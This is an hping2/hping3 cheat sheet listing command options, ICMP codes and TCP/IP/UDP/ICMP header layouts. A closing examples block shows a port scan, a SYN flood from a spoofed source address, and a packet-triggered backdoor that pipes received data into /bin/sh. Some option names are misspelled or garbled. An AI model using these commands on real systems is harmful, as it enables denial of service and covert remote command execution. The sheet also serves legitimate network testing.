

BASE OPTIONS

-q --quiet **-v --version**
-I --interface **-V --verbose**
-D --debug
-c --count count response packets
-i --interval secs or μsecs with **u** [1]
--beep beep every received packet (no icmp)
-n --numeric don't resolv
-z --bind use ctrl+z to increment TTL
-Z --unbind
--fase 10 packets / sec
--master 1 packet / μs
--flood as fast as possible

COMMON OPTIONS

-d --data datsize packet body size
-E --file insert into packet's data
-e --sign signature lenght
-j --dump received packets in hex
-J --print dump in printable char
-B --safe lost pkcts will be resend
-u --end send EOF when --file
-T --traceroute traceroute mode, also:
--tr-keep-ttl keep TTL fixed
--tr-stop exit on first not time icmp exceed
--tr-no-rtt dont show RTT
--tcpexitcode set exit code to tcp→th_flag of last packet

IP RELATED OPTIONS

-a --spooF hostname
--rand-source
--rand-dest host accepts X as wildcard
-t --ttl set ttl value
-N --id ip id [random]
-H --ipprot ip protocol in raw ip mode
-W --winid display id replies from win
-r --rel id increments
-f --frag split packets, [16bytes]
-x --morefrag send ICMP time-exceeded
-y --dontfrag perform PDMTU
-g --fragoff fragment offset value
-G --rroute includes RECORD_ROUTE
-m --mtu
-o --tos set type of service, on hex

ICMP RELATED OPTIONS

-C --icmpType default [echo]
-K --icmpcode ICMP code [0]
--icmp-ipver ip version [4]
--icmp-iphlen ip header length [5]
--icmp-iplen ip packet lenght [real len]
--icmp-ipid set ip id [rand]
--icmp-ipproto set ip protocol [tcp]
--icmp-cksum set checksum [valid]
--icmp-ts timestamp req
--icmp-addr mask req

TCP/UDP RELATED OPTIONS

-s --baseport [random],+1 on received
-p --destport [0] if have, have:
+port increased for each reply
++port increased for each sent
--keep still source port
-w --win set win size [64]
-O --tcpoff **-b --badchksum**
-M --setseq **-L --setack**
-Q --seqnum collect seq numbers
--tcp-timestamp set timestamp

TCP FLAGS

-F --fin **-S --syn** **-R --rst**
-P --push **-A --ack** **-U --urg**
-X --xmas **-Y --ymas**

PROTOCOL SELECTION

-0 --rawip **-1 --icmp** **-2 --ucp**
-8 --scan with:
group ex: 20-53
comma delimited ex: 1,3,4
known: for /etc/services
negated with lex: 1-53,14
-9 --listen string match

ICMP CODES

- 0 Echo Reply
- 1 Unassigned
- 2 Unassigned
- 3 Destination Unreachable
- 4 Source Quench
- 5 Redirect
- 6 Alternate Host Address
- 7 Unassigned
- 8 Echo
- 9 Router Advertisement
- 10 Router Selection
- 11 Time Exceeded
- 12 Parameter Problem
- 13 Timestamp
- 14 Timestamp Reply
- 15 Information Request
- 16 Information Reply
- 17 Address Mask Request
- 18 Address Mask Reply
- 19 Reserved (for security)
- 20-29 Reserved (Experimental)
- 30 Traceroute
- 31 Datagram Conversion Error
- 32 Mobile Host Redirect
- 33 IPv6 Where-Are-You
- 34 IPv6 I-Am-Here
- 35 Mobile Registration Request
- 36 Mobile Registration Reply
- 37 Domain Name Request
- 38 Domain Name Reply
- 39 SKIP
- 40 Photuris
- 41-255 Reserved

[?]: default value



Uptime: hping2 -p 80 -S --tcp-timestamp host
PortScan: hping -I eth0 --scan 20-25,80,443 -S host
Synflood: hping -p 80 -i u10000 -a source -S host
Backdoor: S → hping3 -I eth1 -9 secret | /bin/sh
 C → hping3 -R ip -e secret -E command file -d 100 -c 1

TCP	0										1										2										3																																							
	Source Port					Destination Port					Sequence Number					Acknowledgment Number					Data Offset					Reserved					cwr					ecn					urg					ack					psb					rst					syn					fin				
	Checksum										Urgent Pointer										Options										Padding																																							
	Data																																																																					

IP	0										1										2										3									
	Version				IHL				TOS/DSCP/ECN				Total Length				Identification				Flags				Fragment Offset															
	Time To Live				Protocol				Source Address				Header Checksum				Destination Address																							
	Options										Padding																													

UDP	0										1										2										3									
	Source Port					Destination Port					Length					Checksum					Data																			

ICMP	0										1										2										3									
	Version				IHL				TOS/DSCP/ECN				Total Length				Identification				Flags				Fragment Offset															
	Time To Live				Protocol				Source Address				Header Checksum				Destination Address																							
	Type				Code				Checksum																															